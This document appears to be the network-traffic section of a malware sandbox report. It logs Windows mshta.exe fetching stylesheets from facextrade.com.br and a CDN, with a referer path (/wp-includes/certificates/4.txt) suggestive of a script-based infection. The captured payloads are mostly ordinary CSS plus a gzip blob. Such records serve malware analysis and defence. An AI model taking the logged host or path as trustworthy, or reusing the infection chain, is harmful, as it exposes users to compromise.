                                                                                      Aug 16, 2022 11:39:35.916428089 CEST1791INData Raw: 2d 72 69 67 68 74 3a 36 35 70 78 3b 0a 09 7d 0a 7d 0a 2e 62 74 6e 3a 68 6f 76 65 72 20 7b 0a 09 63 6f 6c 6f 72 3a 23 66 66 66 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 33 33 33 33 33 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69
                                                                                      Data Ascii: -right:65px;}}.btn:hover {color:#fff;background:#333333;-webkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;-o-transition:all 0.5s ease;transition:all 0.5s ease;}.btn:active {color:#fff;background:none;}.btn:
                                                                                      Aug 16, 2022 11:39:35.916448116 CEST1792INData Raw: 70 61 64 64 69 6e 67 3a 31 36 70 78 20 35 35 70 78 3b 0a 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 0a 09 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 66 33 39 63 31 32 3b 0a 09 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b
                                                                                      Data Ascii: padding:16px 55px;text-shadow:none;border:1px solid #f39c12;box-shadow:none;text-shadow:none !important;-webkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;-o-transition:all 0.5s ease;transition:all 0.5s ease;}.rev
                                                                                      Aug 16, 2022 11:39:35.916467905 CEST1793INData Raw: 3a 6e 6f 6e 65 3b 0a 09 70 61 64 64 69 6e 67 3a 31 36 70 78 20 38 35 70 78 3b 0a 7d 0a 2e 6d 6f 72 65 62 74 6e 36 3a 68 6f 76 65 72 20 7b 0a 09 63 6f 6c 6f 72 3a 23 66 66 66 3b 0a 09 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 32 31 62
                                                                                      Data Ascii: :none;padding:16px 85px;}.morebtn6:hover {color:#fff;border:1px solid #21bee8;background:#21bee8;}.cherry_media_parallax_1 {opacity:0;filter:alpha(opacity=0);}.cherry_media_parallax_1 .parallax-content { padding:365px 0 250px
                                                                                      Aug 16, 2022 11:39:35.916486979 CEST1795INData Raw: 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20
                                                                                      Data Ascii: bkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;-o-transition:all 0.5s ease;transition:all 0.5s ease;}.cherry_media_parallax_1 .parallax_inner:before { display:none !important; }.cherry_fixed_parallax1 { overflow:hidden; }
                                                                                      Aug 16, 2022 11:39:35.916507959 CEST1796INData Raw: 5f 66 69 78 65 64 5f 70 61 72 61 6c 6c 61 78 34 20 2e 70 61 72 61 6c 6c 61 78 2d 63 6f 6e 74 65 6e 74 20 68 33 20 7b 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 3b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 0a 09 63 6f
                                                                                      Data Ascii: _fixed_parallax4 .parallax-content h3 {margin-bottom:15px;text-align:left;color:#fff;}.cherry_fixed_parallax4 .parallax-content p { text-align:left; }.cherry_fixed_parallax4 .parallax-content .icon_type1 {margin:0 30px 38px 0;back
                                                                                      Aug 16, 2022 11:39:35.916527987 CEST1798INData Raw: 69 6e 2d 62 6f 74 74 6f 6d 3a 35 33 70 78 3b 0a 09 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 0a 7d 0a 2e 63 68 65 72 72 79 5f 66 69 78 65 64 5f 70 61 72 61 6c 6c 61 78 37 20 2e 70 61 72 61 6c 6c 61 78 2d 63 6f 6e 74 65 6e 74 20 2e 6d 6f 72 65 62
                                                                                      Data Ascii: in-bottom:53px;color:inherit;}.cherry_fixed_parallax7 .parallax-content .morebtn6 {margin-top:50px;padding-left:90px;padding-right:90px;}.cherry_fixed_parallax8 .parallax-content {text-align:center;padding:60px 0 70px 0;}.che
                                                                                      Aug 16, 2022 11:39:36.132296085 CEST1800INData Raw: 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 39 70 78 3b 20 7d 0a 2e 65 78 74 72 61 5f 77 72 61 70 33 20 75 6c 20 6c 69 20 61 20 7b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 0a 09 63
                                                                                      Data Ascii: margin-bottom:9px; }.extra_wrap3 ul li a {font-size:14px;line-height:20px;color:#2ecc71;text-transform:uppercase;}.extra_wrap3 ul li a:hover { color:#fff; }.extra_wrap4 h3 { margin-bottom:30px; }.extra_wrap4 ul {margin:0;list-
                                                                                      Aug 16, 2022 11:39:36.351147890 CEST1869OUTGET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:36.572216988 CEST1871INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:39:36 GMT
                                                                                      Server: Apache
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:26:49 GMT
                                                                                      ETag: "a514fe-3b24-58592cb795840"
                                                                                      Accept-Ranges: bytes
                                                                                      Content-Length: 15140
                                                                                      Connection: close
                                                                                      Content-Type: text/css
                                                                                      Data Raw: 2e 6d 70 2d 72 6f 77 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 32 30 70 78 3b 2a 7a 6f 6f 6d 3a 31 7d 2e 6d 70 2d 72 6f 77 3a 62 65 66 6f 72 65 2c 2e 6d 70 2d 72 6f 77 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 7d 2e 6d 70 2d 72 6f 77 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 5b 63 6c 61 73 73 2a 3d 22 6d 70 2d 73 70 61 6e 22 5d 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 30 70 78 7d 2e 6d 70 2d 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 39 34 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 31 32 7b 77 69 64 74 68 3a 39 34 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 31 31 7b 77 69 64 74 68 3a 38 36 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 31 30 7b 77 69 64 74 68 3a 37 38 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 39 7b 77 69 64 74 68 3a 37 30 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 38 7b 77 69 64 74 68 3a 36 32 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 37 7b 77 69 64 74 68 3a 35 34 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 36 7b 77 69 64 74 68 3a 34 36 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 35 7b 77 69 64 74 68 3a 33 38 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 34 7b 77 69 64 74 68 3a 33 30 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 33 7b 77 69 64 74 68 3a 32 32 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 32 7b 77 69 64 74 68 3a 31 34 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 31 7b 77 69 64 74 68 3a 36 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 31 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 39 38 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 31 31 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 39 30 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 31 30 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 32 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 34 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 36 36 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 37 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 38 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 36 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 35 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 32 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 34 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 33 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 36 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 38 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 31 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 30 70 78 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 7b 77 69 64 74 68 3a 31 30 30 25 3b 2a 7a 6f 6f 6d 3a 31 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 3a 62 65 66 6f 72 65 2c 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20 5b 63 6c 61 73 73 2a 3d 22 6d 70 2d 73 70 61 6e
                                                                                      Data Ascii: .mp-row{margin-left:-20px;*zoom:1}.mp-row:before,.mp-row:after{display:table;content:"";line-height:0}.mp-row:after{clear:both}[class*="mp-span"]{float:left;min-height:1px;margin-left:20px}.mp-container{width:940px}.mp-span12{width:940px}.mp-span11{width:860px}.mp-span10{width:780px}.mp-span9{width:700px}.mp-span8{width:620px}.mp-span7{width:540px}.mp-span6{width:460px}.mp-span5{width:380px}.mp-span4{width:300px}.mp-span3{width:220px}.mp-span2{width:140px}.mp-span1{width:60px}.mp-offset12{margin-left:980px}.mp-offset11{margin-left:900px}.mp-offset10{margin-left:820px}.mp-offset9{margin-left:740px}.mp-offset8{margin-left:660px}.mp-offset7{margin-left:580px}.mp-offset6{margin-left:500px}.mp-offset5{margin-left:420px}.mp-offset4{margin-left:340px}.mp-offset3{margin-left:260px}.mp-offset2{margin-left:180px}.mp-offset1{margin-left:100px}.mp-row-fluid{width:100%;*zoom:1;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.mp-row-fluid:before,.mp-row-fluid:after{display:table;content:"";line-height:0}.mp-row-fluid:after{clear:both}.mp-row-fluid [class*="mp-span


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      19192.168.2.349764187.45.240.6980C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:36.047296047 CEST1798OUTGET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:36.277343035 CEST1828INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:39:36 GMT
                                                                                      Server: Apache
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:29:00 GMT
                                                                                      ETag: "a53043-2458-58592d3483f00"
                                                                                      Accept-Ranges: bytes
                                                                                      Content-Length: 9304
                                                                                      Connection: close
                                                                                      Content-Type: text/css
                                                                                      Data Raw: 2f 2a 20 4d 61 67 6e 69 66 69 63 20 50 6f 70 75 70 20 43 53 53 20 2a 2f 0a 2e 6d 66 70 2d 62 67 20 7b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 31 30 34 32 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 30 62 30 62 30 62 3b 0a 20 20 6f 70 61 63 69 74 79 3a 20 30 2e 38 3b 0a 20 20 66 69 6c 74 65 72 3a 20 61 6c 70 68 61 28 6f 70 61 63 69 74 79 3d 38 30 29 3b 20 7d 0a 0a 2e 6d 66 70 2d 77 72 61 70 20 7b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 31 30 34 33 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0a 20 20 6f 75 74 6c 69 6e 65 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 20 7d 0a 0a 2e 6d 66 70 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 20 38 70 78 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 20 7d 0a 0a 2e 6d 66 70 2d 63 6f 6e 74 61 69 6e 65 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 27 27 3b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 20 7d 0a 0a 2e 6d 66 70 2d 61 6c 69 67 6e 2d 74 6f 70 20 2e 6d 66 70 2d 63 6f 6e 74 61 69 6e 65 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 7d 0a 0a 2e 6d 66 70 2d 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 31 30 34 35 3b 20 7d 0a 0a 2e 6d 66 70 2d 69 6e 6c 69 6e 65 2d 68 6f 6c 64 65 72 20 2e 6d 66 70 2d 63 6f 6e 74 65 6e 74 2c 0a 2e 6d 66 70 2d 61 6a 61 78 2d 68 6f 6c 64 65 72 20 2e 6d 66 70 2d 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 63 75 72 73 6f 72 3a 20 61 75 74 6f 3b 20 7d 0a 0a 2e 6d 66 70 2d 61 6a 61 78 2d 63 75 72 20 7b 0a 20 20 63 75 72 73 6f 72 3a 20 70 72 6f 67 72 65 73 73 3b 20 7d 0a 0a 2e 6d 66 70 2d 7a 6f 6f 6d 2d 6f 75 74 2d 63 75 72 2c 0a 2e 6d 66 70 2d 7a 6f 6f 6d 2d 6f 75 74 2d 63 75 72 20
                                                                                      Data Ascii: /* Magnific Popup CSS */.mfp-bg { top: 0; left: 0; width: 100%; height: 100%; z-index: 1042; overflow: hidden; position: fixed; background: #0b0b0b; opacity: 0.8; filter: alpha(opacity=80); }.mfp-wrap { top: 0; left: 0; width: 100%; height: 100%; z-index: 1043; position: fixed; outline: none !important; -webkit-backface-visibility: hidden; }.mfp-container { text-align: center; position: absolute; width: 100%; height: 100%; left: 0; top: 0; padding: 0 8px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; }.mfp-container:before { content: ''; display: inline-block; height: 100%; vertical-align: middle; }.mfp-align-top .mfp-container:before { display: none; }.mfp-content { position: relative; display: inline-block; vertical-align: middle; margin: 0 auto; text-align: left; z-index: 1045; }.mfp-inline-holder .mfp-content,.mfp-ajax-holder .mfp-content { width: 100%; cursor: auto; }.mfp-ajax-cur { cursor: progress; }.mfp-zoom-out-cur,.mfp-zoom-out-cur
                                                                                      Aug 16, 2022 11:39:36.277369022 CEST1829INData Raw: 2e 6d 66 70 2d 69 6d 61 67 65 2d 68 6f 6c 64 65 72 20 2e 6d 66 70 2d 63 6c 6f 73 65 20 7b 0a 20 20 2f 2a 63 75 72 73 6f 72 3a 20 2d 6d 6f 7a 2d 7a 6f 6f 6d 2d 6f 75 74 3b 0a 20 20 63 75 72 73 6f 72 3a 20 2d 77 65 62 6b 69 74 2d 7a 6f 6f 6d 2d 6f
                                                                                      Data Ascii: .mfp-image-holder .mfp-close { /*cursor: -moz-zoom-out; cursor: -webkit-zoom-out; cursor: zoom-out;*/ }.mfp-zoom { cursor: pointer; cursor: -webkit-zoom-in; cursor: -moz-zoom-in; cursor: zoom-in; }.mfp-auto-cursor .mfp-conten
                                                                                      Aug 16, 2022 11:39:36.277388096 CEST1830INData Raw: 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 38 70 78 3b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 42 61 73 6b 65 72 76 69 6c 6c 65 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 20 7d 0a 20 20 2e 6d 66 70 2d 63 6c 6f 73 65 3a 68 6f 76
                                                                                      Data Ascii: font-size: 28px; font-family: Arial, Baskerville, monospace; } .mfp-close:hover, .mfp-close:focus { opacity: 1; } .mfp-close:active { top: 1px; }.mfp-close-btn-in .mfp-close { color: #333333; }.mfp-image-holder .mfp-close,
                                                                                      Aug 16, 2022 11:39:36.277404070 CEST1832INData Raw: 67 68 74 3a 20 31 37 70 78 20 73 6f 6c 69 64 20 77 68 69 74 65 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 31 70 78 3b 20 7d 0a 20 20 2e 6d 66 70 2d 61 72 72 6f 77 2d 6c 65 66 74 3a 62 65 66 6f 72 65 2c 0a 20 20 2e 6d 66 70 2d 61
                                                                                      Data Ascii: ght: 17px solid white; margin-left: 31px; } .mfp-arrow-left:before, .mfp-arrow-left .mfp-b { margin-left: 25px; border-right: 27px solid #3f3f3f; }.mfp-arrow-right { right: 0; } .mfp-arrow-right:after, .mfp-arrow-right
                                                                                      Aug 16, 2022 11:39:36.277420998 CEST1833INData Raw: 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 2d 31 3b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 38 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 36 29 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a
                                                                                      Data Ascii: ight: auto; z-index: -1; box-shadow: 0 0 8px rgba(0, 0, 0, 0.6); background: #444444; }.mfp-figure { line-height: 0; }.mfp-bottom-bar { margin-top: -36px; position: absolute; top: 100%; left: 0; width: 100%; cursor: aut
                                                                                      Aug 16, 2022 11:39:36.277437925 CEST1835INData Raw: 69 6c 65 20 2e 6d 66 70 2d 63 6f 75 6e 74 65 72 20 7b 0a 20 20 20 20 72 69 67 68 74 3a 20 35 70 78 3b 0a 20 20 20 20 74 6f 70 3a 20 33 70 78 3b 20 7d 0a 0a 20 20 2e 6d 66 70 2d 69 6d 67 2d 6d 6f 62 69 6c 65 20 2e 6d 66 70 2d 63 6c 6f 73 65 20 7b
                                                                                      Data Ascii: ile .mfp-counter { right: 5px; top: 3px; } .mfp-img-mobile .mfp-close { top: 0; right: 0; width: 35px; height: 35px; line-height: 35px; background: rgba(0, 0, 0, 0.6); position: fixed; text-align: cen
                                                                                      Aug 16, 2022 11:39:36.280766964 CEST1836INData Raw: 61 63 69 74 79 3a 20 30 2e 38 3b 0a 7d 0a 2f 2a 20 6f 76 65 72 6c 61 79 20 61 6e 69 6d 61 74 65 20 6f 75 74 20 2a 2f 0a 2e 6d 66 70 2d 66 61 64 65 2e 6d 66 70 2d 62 67 2e 6d 66 70 2d 72 65 6d 6f 76 69 6e 67 20 7b 0a 20 20 6f 70 61 63 69 74 79 3a
                                                                                      Data Ascii: acity: 0.8;}/* overlay animate out */.mfp-fade.mfp-bg.mfp-removing { opacity: 0;}/* content at start */.mfp-fade.mfp-wrap .mfp-content { opacity: 0; -webkit-transition: all 0.15s ease-out; -moz-transition: all 0.15s ease-out;
                                                                                      Aug 16, 2022 11:39:36.280805111 CEST1836INData Raw: 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 2e 38 29 3b 0a 20 20 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 2e 38 29 3b 0a 20 20 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30
                                                                                      Data Ascii: bkit-transform: scale(0.8); -moz-transform: scale(0.8); -ms-transform: scale(0.8); transform: scale(0.8); opacity: 0;}.mfp-zoom-in.mfp-removing.mfp-bg { opacity: 0;}


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      2192.168.2.349745104.18.10.20780C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:30.131438971 CEST1184OUTGET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: netdna.bootstrapcdn.com
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:30.154021025 CEST1186INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:39:30 GMT
                                                                                      Content-Type: text/css; charset=utf-8
                                                                                      Transfer-Encoding: chunked
                                                                                      Connection: keep-alive
                                                                                      Vary: Accept-Encoding
                                                                                      CDN-PullZone: 252412
                                                                                      CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74
                                                                                      CDN-RequestCountryCode: US
                                                                                      CDN-EdgeStorageId: 617
                                                                                      CDN-EdgeStorageId: 617
                                                                                      Last-Modified: Mon, 25 Jan 2021 22:04:51 GMT
                                                                                      CDN-CachedAt: 2021-06-08 14:14:42
                                                                                      CDN-RequestPullSuccess: True
                                                                                      CDN-RequestPullCode: 200
                                                                                      Cache-Control: public, max-age=31919000
                                                                                      timing-allow-origin: *
                                                                                      cross-origin-resource-policy: cross-origin
                                                                                      access-control-allow-origin: *
                                                                                      x-content-type-options: nosniff
                                                                                      CDN-RequestId: 9256d228095e0e65283ebf5530b25e58
                                                                                      Content-Encoding: gzip
                                                                                      CDN-Cache: HIT
                                                                                      CF-Cache-Status: HIT
                                                                                      Age: 17539032
                                                                                      Server: cloudflare
                                                                                      CF-RAY: 73b9340158d09250-FRA
                                                                                      alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
                                                                                      Data Raw: 31 37 34 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ad 5d fb 93 db 36 92 fe dd 7f 05 cf a9 9c 1d 97 29 0f 47 f3 de ca 5e 1c c7 d9 73 9d 73 76 ad 9d da bd ba 47 15 45 42 12 33 94 c8 f0 31 0f 5f e5 7f bf af 01 52 ea 16 d9 a0 72 1b d7 ae e3 21 1b 40 a3 f1 f5 03 8d 06 e7 d5 8b 7f 7a 12 bc 08 82 1f 8b 6d 13 bc be 37 75 b1 31 c1 7c 76 3a 8b ec e3 66 6d 82 2c 29 b6 59 12 2c 89 22 35 75 b6 da 9a 14 3f 55 c1 f7 45 d1 d4 4d 15 97 96 34 fc 43 ff d8 2e 3f 63 f4 65 9b e7 41 dd 66 8d 09 8a 65 50 66 49 53 ac 30 e4 1a 1c 11 63 f5 cb c0 3c c4 9b 32 37 f8 57 bc 4d 83 b4 48 da 8d d9 36 71 93 15 db 20 89 b7 c1 c2 d8 ce 96 45 8b d7 71 13 ac 9b a6 bc 79 f5 8a e6 13 bb 09 cf b2 62 16 04 9f 9a f8 31 68 cb a0 29 82 34 a6 e1 b6 c1 e7 fb ac 69 4c 85 56 b6 8b ae 65 e3 9e ce 92 62 23 7a 01 8d 25 7b 9f 25 66 5b bb 51 ff 50 a1 84 4e d0 56 2e 62 c1 ec da 64 75 90 bb 91 d3 00 53 05 db 9f de bd 0f 3e fc f8 3e 88 66 51 e0 da ee e6 50 27 55 56 36 f5 ac ce f2 59 51 ad 5e 81 ac eb 5c 74 fc e6 d3 a7 97 c1 fb b7 f4 37 09 f7 d3 eb 4f 9f 82 65 06 61 07 71 65 0e 87 fb e9 dd e7 7e ee 87 c3 15 25 24 52 b4 55 62 ec 68 1d 9f f5 ab 4d d6 84 dd 0f b3 75 b3 c9 c7 78 90 2b 7a 30 c5 37 6f 82 ef ff 03 80 3d 39 1c 31 a9 0c 20 70 67 b0 48 1b c0 44 0e bb 78 7c 85 26 af ba d1 5e 37 4d 95 2d 5a 0b 18 08 71 5b 04 79 b1 5d 41 7e 95 f9 b5 cd 2a a0 3d db 1e 2a c8 c9 cb 00 2d 82 4d 9b ac 83 b8 2c 2b 93 64 c0 4c 7a 63 bb 0c 82 a7 42 8a 8b c7 e0 87 f8 ce 04 7f 81 0c 1f 83 70 1c 81 4f 7b f8
